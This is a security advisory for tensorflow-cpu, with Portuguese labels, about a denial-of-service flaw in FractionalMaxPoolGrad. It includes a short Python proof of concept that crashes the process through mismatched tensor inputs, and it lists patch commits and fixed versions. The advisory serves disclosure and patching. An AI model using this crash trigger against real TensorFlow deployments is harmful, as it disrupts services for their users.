PT-2026-59989 · Pypi · Tensorflow-Cpu
Publicado
2026-07-13
·
Atualizado
2026-07-13
CVSS v3.1
5.9
Média
| Vetor | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:python
import tensorflow as tf
overlapping = True
orig input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
orig output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
out backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
row pooling sequence = tf.constant(0, shape=[5], dtype=tf.int64)
col pooling sequence = tf.constant(0, shape=[5], dtype=tf.int64)
tf.raw ops.FractionalMaxPoolGrad(orig input=orig input, orig output=orig output, out backprop=out backprop, row pooling sequence=row pooling sequence, col pooling sequence=col pooling sequence, overlapping=overlapping)Patches
We have patched the issue in GitHub commit 8741e57d163a079db05a7107a7609af70931def4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Correção
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Produtos afetados
Tensorflow-Cpu